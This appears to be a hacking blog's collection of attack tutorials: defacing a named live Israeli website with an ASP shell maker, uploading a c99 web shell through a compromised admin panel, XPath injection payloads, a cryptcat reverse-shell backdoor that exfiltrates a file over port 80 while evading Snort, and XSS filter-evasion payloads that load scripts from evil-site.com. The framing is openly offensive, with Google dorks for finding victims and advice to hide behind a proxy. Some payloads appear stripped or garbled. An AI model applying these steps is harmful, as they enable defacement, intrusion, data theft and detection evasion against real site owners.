How To Deface with Webdav asp Shell Maker

what’s is Webdav asp Shell Maker? its software to make a shell in some website.Its created by Hmei7(Indonesian Hacker) Its easy bro 🙂

 Download Webdav Here
 Dork:-inurl:/*.asp site:il
           -inurl:/webdav + intext:webdav test page site:il

Live target : http://www.qv.holis.co.il

*turn off Anti Virus.Its not virus but detect as virus

First open the Webdav  and click “Webdav > Asp Shell Maker”

 

Click “Settings” if you have other shell and click Add Site if you wanna use a default shell

After add target then click “Serang!!”

Wait for several second 🙂 and if Sucses like this

Then open the shell in your Browser

Search Index

Click “!” for edit the file

Click “Kaydet” if you clear edited the files
anddd…………
tarrrraaaaaa 😀 http://qv.holis.co.il

Easy Right ? 🙂

How to find a Vulnerable Website?

Website Security is a major problem today and should be a priority in any organization or a webmaster, Now a days Hackers are concentrating alot of their efforts to find holes in a web application, If you are a website owner and having a High Page rank and High Traffic then there is a chance that you might be a victim of these Hackers.

Few years back their existed no proper tools search for vulnerability, but now a days there are tons of tools available through which even a newbie can find a vulnerable site and start Hacking
 Common Methods used for Website Hacking
There are lots of methods that can be used to hack a website but most common ones are as follows:

1.SQL Injection
2.XSS(Cross Site Scripting)
3.Remote File Inclusion(RFI)
4.Directory Traversal attack
5.Local File inclusion(LFI)
6.DDOS attack
I have explained some of these methods in my post “Common methods to hack a website”

Tools commonly used to find a vulnerable website

Acunetix
Acunetix is one of my favorite tool to find a venerability in any web application It automatically checks your web applications for SQL Injection, XSS & other web vulnerabilities.

Download Acunetix Web Security Scanner
Nessus
Nessus is the best unix venerability testing tool and among the best to run on windows. Key features of this software include Remote and local file securitychecks a client/server architecture with a GTK graphical interface etc.
Download Nessus from the link below
http://www.nessus.org/download
Retina-
Retina is another Vulnerability Assessment tool,It scans all the hosts on a network and report on any vulnerabilities found.
Download Retina from the link below
http://www.eeye.com/downloads
Metasploit Framework
The Metasploit Framework is the open source penetration testing framework with the world’s largest database of public and tested exploits.
Download Metasploit from the link below :
http://www.metasploit.com/download/

How To Upload Shell and Deface Website – Tutorial

1-A Shell (Will be provided)


2-A website vulnerable to SQLi


3-Image or File upload area on that Vulnerable website

So firstly download the shell here.

Download

What is Shell ?

A shell script is a script written for the shell, or command line interpreter, of an operating system. It is often considered a simple domain-specific programming language. Typical operations performed by shell scripts include file manipulation, program execution, and printing text.
This is a plain c99 shell, BUT it is Undetected so you should not get a warning from a anti virus if you download it. (update: not Undetected anymore )

I am not going to explain SQLi just how to deface.

So now go get yourself a vulnerable site, hack it and get the Admin Login details and get the Admin Page address.

Now login to the admin page with the admin details you got.

Go through the admin page until you find a place where you can upload a picture (Usually a picture).

Now you have to upload the shell. Right if you don’t get an error it is all good.

Now to find the shell

Go through the site until you find any image and if you are using firefox Right

– Click on it and “Copy Image Location”

Make a new tab and paste it there.

It will probably look something like this:

http://www.example.com/images/photonamehere.jpg

So now that we know that change “/photonamehere.jpg” to “/c99ud.php.jpg” (Without Qoutes)

Now a page will come up looking like this:

Does probably not look like that but will look similar.

Now you have access to all the files on the site
What you want to do is now,
Find index.php or whatever the main page is, and replace it with your HTML code for your Deface Page.

Then you can either delete all the other files OR (and I recommend this) Let it redirect to the main page.

Keep in mind:

• Change Admin Username and Password

•The people have FTP access so you need to change that Password too .

•Always use a Proxy or VPN

XPATH INJECTION TUTORIAL

XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.

We are gonna learn using simple example. Download code from here & put it in your local server directory.(Code is created by Henry Kiok )

Sample XML Document which we gonna use:-



 
    Johnny
    Bravo
    jbravo
    test123
    Admin
 
 
    Mark
    Brown
    mbrown
    demopass
    User
 
 
    William
    Gates
    wgates
    MSRocks!
    User
 
 
    Chris
    Dawes
    cdawes
    letmein
    User
 
 

Bypass Authentication:-

Browse to the login.php page; here we can see simple login form.

If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:

Username: ‘ or ‘1’ = ‘1
Password:  ‘ or ‘1’ = ‘1

Looks quite familiar, doesn’t it? Using these parameters, the query becomes:

string(//Employee[uname/text()=” or ‘1’ = ‘1’ and passwd/text()=” or ‘1’ = ‘1’]/account/text())

As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.

Blind Xpath Injection:-

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack whose goal is to reconstruct the whole data structure.

Browse to the search.php page. Enter any number, When you provide number it will display FirstName related to their ID.

Enter ‘ or ‘1’ = ‘1 in search , & you will get all FirstName regardless of any ID(Number).

In blind Xpath injection we have to provide special crafted query to application, if query is true we will get result otherwise we will not get any result.Till now We don`t know about any parent or child node of XML document.

Guessing Of Parent Node:-

Supply following query to application & observe result.

‘ or substring(name(parent::*[position()=1]),1,1)=’a

Nothing append , we don`t get FirstName of users.It means first letter of parent node is not “a”. Now supply following query

‘ or substring(name(parent::*[position()=1]),1,1)=’E

You get result , It means first letter of parent node is “E”

To guess second letter of parent node supply following query

‘ or substring(name(parent::*[position()=1]),2,1)=’m

Following the same procedure, we can extract the full name of the parent node, which was found to be ‘Employee‘.

We can also get child node. Browse to the xpath.php page & enter following query.

//Employee[position()=3]/child::node()[position()=4]/text()

You got output from parent node Employee id 3 & child node whose position is 2.

To get whole document put following query.

//Employee

It`s just concept how to retrieve data from XML document using XPATH injection.XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:

• count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.
•  string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.

I used recon-ng xpath bruteforcer for xpath injection attack & we will get back end XML file.

Hack Like a Pro: How to Create a Nearly Undetectable Backdoor with Cryptcat

Step 1: Download Cryptcat

You can download and install cryptcat on a Windows system using this link.

Step 2: Open a Listener on the Windows System

We can open a listener on any system with a similar syntax as netcat. In this case, we’re opening a listener on a Windows 7 system on port 6996 and spawning a command shell.

• cryptcat -l -p 6996 -e cmd.exe

• -l means “open a listener”
• -p 6996 means “place the listener on port 6996”
• -e cmd.exe means “execute a command shell to the connection”

Step 3: Open Snort or Other IDS

Now, let’s start up an IDS like Snort on another system that will connect to the Windows system to see whether the encryption is able to “blind” the IDS, leaving our backdoor invisible to such security devices.

Step 4: Connect to the Windows System with Cryptcat

Since cryptcat is installed by default on BackTrack, we don’t have to download and install it. In addition, it’s in a /bin directory, so we can access it from any directory.

Now, we can connect to the Windows 7 system with cryptcat from our BackTrack system and see whether we can complete an encrypted backdoor connection that is nearly impossible to detect.

• cryptcat 192.168.4.182.248 6996

As you can see, we connected to the Windows 7 system and received a command shell from the Win 7 system! This gives us significant control over that system, but not total control as the command shell has limited capability.

Step 5: Check Your Snort Logs and Alert

This type of attack (passing a command shell across the wire) is easily detected with Snort or other IDS’s when the connection is unencrypted. Snort rules will alert the sysadmin that a cmd.exe shell has traversed their network connection, and they are likely to do something then to keep you using that command shell. With the encrypted connection available with cryptcat, this connection should be nearly undetectable.

Let’s go back now and check your logs and alerts in Snort. If we were successful in evading the IDS, you should NOT see any alerts regarding command shell moving across the wire. We can check our logs by going to/var/snort/alerts and see whether any alerts have been triggered by our connection to the Windows machine (normally, we should find an alert).

• kwrite /var/snort/alerts

As you can see, we were successful. We were able to connect to the Windows system without alerting any of the security systems!

Step 6: Send Crypcat Over Port 80 to Evade the Firewall

Although we have successfully created an encrypted backdoor on the victim system, a vigilant security admin will notice that an unusual port (6996) is open. This will likely trigger some action by the security admin to limit our access. In addition, on systems with a good system admin and good firewall, this port will likely be blocked by the firewall.

For any network to be able to communicate on the Internet, they will likely need to keep open ports 80 and 443, certainly, but also possibly 25, 53, and 110. Since unencrypted, normal Internet traffic travels over port 80, it’s nearly always open and a little more traffic will hardly be noticed.

Now that we have successfully used cryptcat, we’ll send it over port 80 with all the other Internet traffic. Although it will be encrypted, it will look like any binary data crossing the wire. It will be nearly impossible for the security devices to detect or block it, as they must always allow traffic on port 80, and the traffic is encrypted, so the IDS can’t “see” the contents.

Here we will move a file from the victim’s system called topsecret.txt to our attack system without any of the security devices detecting it. This time, instead of sending a command shell across the wire, we will be sending a top secret file named topsecret.txt across our encrypted connection. We can do this by typing at the Windows command prompt:

• cryptcat -l p 80 < topsecret.txt

• -l means “open a listener”
• -p 80 means “open that listener on port 80”=
• < means “send the following file out this listener”

Step 7: Connect to the Listener

Now, let’s connect to the victim’s system and pull across the top secret file. All we need to do is connect to the listener by typing cryptcat, the IP address of the victim system, and the port number of the listener.

• cryptcat 192.168.182.248 80

As you can see, the file came across our connection successfully!

Step 8: Let’s Check the Alerts File

Let’s once again check our Snort log files for any evidence that our IDS detected this movement of the top secret file.

• kwrite /var/snort/alerts

As you can see, our top secret file sailed right through port 80 under the noses of the sysadmins, IDS, and firewall without a trace!

XSS ATTACK TUTORIAL

Simply put, cross site scripting involves the injection of malicious code into a website. It is the most common method of attack at the moment, as most large sites will contain at least one XSS vulnerability. However, there is more than one type of XSS. The most commonly found is referred to as “non persistent” XSS.None Persistent XSS

Non persistent as the title suggests means that the injected script isn’t permanent and just appears for the short time the user is viewing the page. The best example of this is a basic coded search engine for a site. Say for example, the site search script is in this format:

Site.com/search.php?search=text here

Once something has been searched for, the script may display on the page something along the lines of:

“Results for text here“

Simply echoing your search string straight onto the page without performing any validation checks. What if we were to alter the search string to display html of JavaScript? For example:

Site.com/search.php?search=XSS

Site.com/search.php?search=alert(“XSS”);

If no sanitation checks are being performed by the search script, this will just be echoed straight onto the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used to display anything you want. 

However, since the attacker can only display code on their own pages, this isn’t much of a threat to other users. Although if the string was turned into Hex the search string may be slightly more hidden and with a little deception could be used to trick users into thinking the link is legitimate. 

Next there’s persistent XSS


Persistent XSS

Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent attacks are injected permanently into the code of the site, so anyone who views the site will be able to see permanently. In order for these to work, the code has to be made to store itself on the sites server somehow, which can be hard to find.

An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users (fixed now, obviously) affecting the page all.php. The register process wasn’t sanitized at all, so all a user had to do was simply register with a username containing HTML or JavaScript code. This was an obvious vulnerability which should have been spotted from the beginning, but just like XSS on other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and anywhere where the username was displayed on the site. A good place to look out for this vulnerability is basic forum scripts that site owners have made themselves or found off sites designed to help novices.

With both of these attacks, it is also possible to run malicious code from another site again making the possibilities of attack endless. Javascript has a lot of features the are not well know, such as changing the images on sites from images[number].src and anyone who uses myspace will know the CSS can be used to remove or replace certain sections of a site based on name. If you have a permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off another site:

http://evil-site.com/xss.js

Getting Past Basic Protection 

So what if a site owner knows about XSS, but has provided some but very little protection against it? Well, this is where CharCode comes in. Char code is basically just a simple form of character encoding that can encode blocked characters so they get past the protection but still get displayed normally on the page. Here is a very common one that will pop up alerts saying “XSS” if it is vulnerable: 

‘;alert(String.fromCharCode(88,83,83))//\’; alert(String.fromCharCode(88,83,83))//”; alert(String.fromCharCode(88,83,83))//\”; alert(String.fromCharCode(88,83,83))//–>”>’> alert(String.fromCharCode(88,83,83))

This is a very useful XSS to know, as it provides more than one type of attack at once. If you get only one or two alerts, you know that only one of two of them work, so you need to try to eliminate some of them to text which one is affecting the site. The CharCode for “X” is 88 and “S” is 83. As you can see, each provides a slight variation to try to beat character blocking.

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript disguised as an image:

What if quotes are blocked? No problem, just inject the site like so: 

The " will be interpreted in html as a ” so the code will run fine. The next one below is very likely to work if you find a site is vulnerable.

The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic code that was invented to allow all characters to be available to everyone e.g. for different languages such as chinese character symbols. And ASCII has a similar purpose. You can go to http://www.asciitable.com to view the HTML code needed for ASCII code. This below shows the whole code in ASCII form:

As you can tell, this will beat many filters as the code is basically unrecognisable. However, translating the code can display what it was designed to do. Next for Unicode, again this makes the text unrecognisable but works the same:

If the site has a limited amount of characters allowed, this probably won’t be useful. As mentioned previously, hex can also be used for XSS. The example below shows this:

Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many ways to bypass security checks site owners have to work harder to try to protect their sites. As well as web forms being used on most sites these days allowing users to enter code which will be stored somewhere and inevitably viewed by someone else XSS can be used for almost anything. With practise XSS can be used to run a hidden cookie stealer which a user will view and allow you to steal their login info or if sessions are used perform “session hijacking” where you steal their session data and again log in as them. To the simple defacement of a website through HTML or Javascript. XSS is definitely an attack method which should be studied well as it provides such a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn’t enough room to mention them here, but I will finish with some more XSS examples that may effect a vulnerable site.

 – new line vulnerability

<iframe src=http://evil-site.com/evil.html < – XSS using an iframe to display a whole new page

x=/XSS/  alert(x.source) – again beat checks using Javascript

 – infected body tag



 – stylesheet vulnerability

– vbscript, scripting language similar to javascript, again can help beat validation checks

 – incorrectly parsed meta refresh

 

– base64 encoding, another form of encryption, this one is less likely to work. 

http://evil-site.com/xss.jpg – very sneaky method, here you rename your .js to .jpg, but since you have the script tags it will still be read as a js file. 

The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly written HTML code will be the best method. If one way doesn’t work, try adding an extra “>” or “” to the end then starting your own malicious code. Well, that’s the end of this tutorial. For more XSS attack example just use google as more of these are being though up every day. Soon you should even be able to invent your own.

How to Hack Website Using Kali linux (Nikto Tool)

Nikto is a an open source software which acts as a web server scanner which performs multiple tests against web servers for many items which include 6500 potentially dangerous CGIs or files. It also checks for outdated versions of about 1250 servers. It also checks for about the problems on specific servers of about 270 kinds. It checks for server configuration items.

To open up Nikto on Kali Linux:

Kali Linux > Vulnerability Analysis > Misc Scanners > Nikto

 Once you have opened up Nikto from the menu, you can see the help options by typing nikto -help 

 I won’t explain each option in detail as it is self-explanatory.

Now this is how to use it.

1.) If you want to perform a database check then you need to type in nikto -dbcheck

2.)If you want to update your software( which in this case you won’t need to as Kali Linux is not old enough, but you would need to update it in future) then type in nikto -update

3.)Before and after updating the software you can check the version of the software and to do the same you need to type in nikto -Version 

4.) Now if in case you need to find out the plugins then you can type in nikto -list-plugins

5.) Now, the real game, the vulnerability check can be done by typing in the following syntax :

nikto -h

for example: nikto -h http://www.anything(domain).com

After that you will be showed a detailed scan and you will also get to know how you will be able to penetrate the website.

for example, you may get a message that shall tell you that Attackers may be able to crash FrontPage by requesting a DOS Device.

By pressing any of the below you can turn on or off the following features even during an active scan.

 SPACE – Report current scan status
v – Turn verbose mode on/off
d – Turn debug mode on/off
e – Turn error reporting on/off
p – Turn progress reporting on/off
r – Turn redirect display on/off
c – Turn cookie display on/off
o – Turn OK display on/off
a – Turn auth display on/off
q – Quit
N – Next host
P – Pause

 i hope this all usefull to you people keep subsribe me and be in touch for more Articles Thank you .